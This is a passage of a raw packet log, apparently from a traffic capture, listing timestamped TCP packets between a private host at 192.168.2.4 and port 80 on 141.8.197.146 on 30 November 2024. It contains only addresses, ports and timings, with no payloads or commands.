Nov 30, 2024 05:00:17.428520918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.429305077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.429409027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.429446936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.430268049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.430376053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.430413961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.431210041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.431309938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.431365967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.432154894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.432246923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.432296991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.433092117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.433221102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.433262110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.434056997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.434171915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.434214115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.435029030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.435096025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.435138941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.435956001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.436072111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.436110020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.436886072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.437016010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.437057972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.437825918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.466526031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.466573954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.466607094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.466970921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.467015028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.467050076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.467917919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.467964888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.468031883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.468854904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.468904972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.468971968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.469830036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.469871998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.469934940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.470782995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.470856905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.470860958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.471746922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.471791029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.471792936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.524094105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.595978022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.596069098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.596162081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.596353054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.596440077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.596502066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.597065926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.597188950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.597254992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.598021030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.598112106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.598206043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.598970890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.599085093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.599143028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.599920034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.600019932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.600076914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.600862026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.601005077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.601068974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.601821899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.601948023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.602013111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.602864027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.602989912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.603070974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.603730917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.603878021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.603995085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.604669094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.604784966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.604882956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.605645895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.605758905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.605813980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.606575966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.606674910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.606730938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.607518911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.607633114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.607693911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.608464956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.608587027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.608652115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.609401941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.609524012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.609585047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.610375881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.610490084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.610537052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.611316919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.611409903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.611459970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.612273932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.612385988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.612456083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.613207102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.613316059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.613364935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.614168882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.614284992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.614341974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.615097046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.615228891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.615288019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.616055012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.616163969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.616218090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.617014885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.617116928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.617167950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.617954016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.618067026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.618119955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.618904114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.619009972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.619052887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.619867086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.619978905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.620031118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.620806932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.620904922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.620950937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.621737957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.621856928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.621901035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.622714043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.622828007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.622967958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.623656034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.623713970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.623754025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.624614954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.624696016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.624815941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.625560999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.625682116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.625744104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.626501083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.626604080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.626666069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.627440929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.627552986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.627597094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.628402948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.628521919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.628571033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.629334927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.629436016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.629481077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.630290985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.630399942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.630467892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.631241083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.631443977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.631534100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.632196903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.632291079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.632330894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.633126974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.633223057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.633280993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.634095907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.634217978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.634284019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.635052919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.635148048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.635180950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.635977030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.636081934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.636121988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.636890888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.637017012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.637150049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.637873888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.638083935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.638137102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.638813019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.638875961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.638947010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.667710066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.667778015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.667835951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.667906046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.668015957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.668070078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.668875933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.668886900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.668957949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.669868946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.670078039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.670130014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.670753956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.670874119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.670912027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.671705961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.671818018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.671863079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.672632933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.672745943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.672791958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.673547983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.734718084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.797195911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.797282934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.797390938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.797673941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.797749043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.797875881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.798747063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.798839092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.798882008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.799633026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.799719095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.799793005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.800554037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.800662994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.800729036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.801511049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.801573038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.801613092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.802447081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.802525043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.802615881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.803400040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.803503036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.803553104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.804357052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.804429054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.804469109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.805326939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.805340052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.805396080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.806261063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.806273937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.806332111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.807202101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.807215929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.807248116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.808139086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.808151960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.808195114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.809083939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.809247017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.809293985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.810017109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.810101986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.810146093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.810957909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.811069965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.811131954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.811918020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.812022924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.812158108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.812864065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.812968969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.813011885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.813829899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.813925982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.813981056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.814755917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.814860106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.814945936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.815735102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.815834045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.815890074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.816636086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.816756964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.816812038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.817600012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.817718029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.817811012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.818541050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.818655968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.818696976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.819483995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.819588900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.819649935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.820444107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.820578098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.820615053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.821400881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.821511030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.821547985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.822357893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.822458982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.822504997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.823275089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.823400974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.823436975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.824249029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.824376106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.824454069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.825191975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.825303078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.825345039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.826138020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.826242924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.826318026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.827104092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.827260971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.827299118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.828031063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.828142881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.828191042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.828988075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.829104900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.829184055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.829926014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.830053091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.830172062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.830881119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.830984116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.831049919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.831829071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.831859112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.831938982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.832803965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.832904100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.832973957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.833734989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.833832979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.833920956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.834672928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.834789991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.834850073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.835633039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.835742950 CET	80	49732	141.8.197.146	192.168.2.4
